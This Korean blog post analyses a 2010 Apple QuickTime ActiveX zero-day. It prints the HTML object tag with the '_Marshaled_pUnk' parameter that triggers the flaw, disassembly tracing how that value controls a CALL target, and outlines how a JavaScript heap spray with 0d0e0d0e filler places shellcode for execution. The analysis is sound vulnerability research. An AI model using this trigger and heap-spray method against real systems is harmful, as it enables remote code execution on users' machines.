최근에는 파이썬 개발과 가끔씩 돌발적으로 일어나는 이슈들을 컨트롤하는 것만으로....
나의 일상이 흘러가고 있습니다.......
3일 동안 자리를 비운 사이
새로운 제로데이 취약점이 확산되기 시작했다는 글들이
트위터랑 블로그들 사이에 오고가고 있네요...
(0-day) Apple QuickTime “_Marshaled_pUnk” Code Execute Vulnerability
많은 아이폰 사용자들은 경험해 보았겠지만
Apple QuickTime 플레이어는
iTunes 업글할 때도 디폴트로 같이 설치하고 업글하도록 되어 있기 때문에
아이폰 사용자들이 급증하고 있는 이 시점에서
QuickTime 취약점 제로데이 취약점은 꽤 괜찮은 먹잇감이 될질도 모르겠군요.. ^^
해당 취약점은 이미 실제 공격으로 이용되고 있고
다음과 같이 Jsunpack 과 wepawet과 같은 오픈 URL 분석시스템에서 탐지된 정보를 통해서
이슈가 알려지기 시작한 것 같습니다....
-------------------------------
[wepawet] http://wepawet.cs.ucsb.edu/view.php?hash=9024da1a2ed0f0e1d37de8e995258980&t=1283452417&type=js
[jsunpack]http://jsunpack.jeek.org/dec/go?report=544b2800f0af20e14693d6c0c611f094b0a0e0ca
취약점을 일으키는 기본 코드는
<object classid=clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B width=9 height=9>
<PARAM name=_Marshaled_pUnk value=219024654/></object>
취약점은 Quicktime 플레이어 ActiveX(QTPlugin.ocx) _Marshaled_pUnk 파라미터 때문이고..
흠.. 근데 요놈은 멀 하는 놈인지 잘 모르겠네요.. 흐흐흐흐....
일단 해당 취약점을 코드레벨에서 분석해보면,
Ole2.dll 파일의 다음 지점에서 최종적으로 CALL [ECX+C] 값을 통해 임의의 코드실행이 가능하게 되고
코드를 되집어 보면 ECX 값이 [EAX] 값으로 부터 영향을 받는 것을 확인할 수 있습니다...
7699DC8B 8BFF MOV EDI, EDI
7699DC8D 55 PUSH EBP
7699DC8E 8BEC MOV EBP, ESP
7699DC90 8B45 08 MOV EAX, DWORD PTR [EBP+8]
7699DC93 8B08 MOV ECX, DWORD PTR [EAX] **** 0D0E0D0E
7699DC95 8D55 08 LEA EDX, DWORD PTR [EBP+8]
7699DC98 52 PUSH EDX
7699DC99 FF75 10 PUSH DWORD PTR [EBP+10]
7699DC9C FF75 0C PUSH DWORD PTR [EBP+C]
7699DC9F 50 PUSH EAX
7699DCA0 FF51 0C CALL DWORD PTR [ECX+C] *** CALL 흐름 변경
그렇다면, EAX 값이 도대체 어디서 왔는 지 확인할 필요가 있겠군요...
그래야 우리가 사용자 입력으로부터 Control 이 가능한지 알수 있기 때문이죠....
일단은 가만히~~~ 스택을 살펴보면서, ==
0D0E0D0E 값이 어느 CALL 지점으로부터 나타나기 시작했는지 확인하고....
적절한 CALL 지점을 찾고 나면 디버깅을 재시작하여
해당 CALL부터 0D0E0D0E 의 값을 추적하시면 될 것 같습니다....
그렇게 찾은 결과.. 다음과 같이 QTPlugin 코드 지점에서
Parameter의 Value 값으로 입력된 아스키값이 QTPlugin.02681310 함수를 통해서 헥사값으로 변환되고 이 값이 바로 EAX= 0D0E0D0E 값이 되는 것을 알았군요....
02682C2E 57 PUSH EDI = "219024654"
02682C2F E8 DCE6FFFF CALL QTPlugin.02681310 ** 헥사값 변환 결과, EAX=0D0E0D0E
02682C34 83C4 04 ADD ESP, 4
02682C37 8D8E B8130000 LEA ECX, DWORD PTR [ESI+13B8]
02682C3D 51 PUSH ECX
02682C3E 68 70FC6A02 PUSH QTPlugin.026AFC70
02682C43 50 PUSH EAX
02682C44 FF15 CCD36A02 CALL DWORD PTR [<&ole32.CoGetInterfaceAndReleaseStream>] ; ole32.CoGetInterfaceAndReleaseStream
결론적으로,
.. 해당 취약점은 코드실행이 가능하다.
.. 파라미터로 전달되는 Vaue 값을 통해 쉘코드 실행 주소번지를 컨트롤할 수 있다..
이제, 자바스크립트를 이용한 Heap-Spray 코드를 끼워넣어서 0D0E0D0E 근처에 쉘코드를 채우기만 하면 "계산기"를 띄울 수 있겠군요... ㅋㅋㅋ... 네네~~~ 아주 잘 뜨네요~~ ^^;;;;;
Heap-Spray 코드를 만들때는
.. Loop 값을 증가시켜서 충분히 Value로 전달되는 메모리 주소 즉 0D0E0D0E까지 채워야 한다.
.. 쉘코드와 함께 채워지는 더미값은 최종적으로 CALL 되는 지점이 Value가 가리키는 주소번지 안의 값이기 때문에 Heap 영역안에 존재하는 값이어야 한다....
.. 또한, 더미값은 CALL 흐름에 영향을 주지 않는 NOP 코드값이어야 한다..
아마두... 주로 0d0e0d0e, 0a0a0a0a, .... 머 요런 값들이 될 수 있을 것 같네욤.......
-----------------------------
마이 졸리운 오후입니다...
찐~~한 커피한잔이 간절~~
두서없이 또 한번 거짓말을 늘어놓습니다..
용서하세요~~ ^^
-----------------------------
'새빨간거짓말' 카테고리의 다른 글
[여섯번째 거짓말] CVE-2010-3982 인터넷익스플로러 제로데이 취약점 (3) | 2011.01.12 |
---|---|
[다섯번째 거짓말] CVE-2010-2884 Adobe Flash 제로데이 취약점 (SWF) (0) | 2011.01.12 |
[네번째 거짓말] Adobe Reader(PDF) CVE-2010-2883 제로데이 취약점 (4) | 2011.01.12 |
[두번째 거짓말] CVE-2010-2564(MS10-050) Movie Maker 취약점 (0) | 2011.01.12 |
[첫번째 거짓말]CVE-2010-2568 제로데이 취약점 (0) | 2011.01.12 |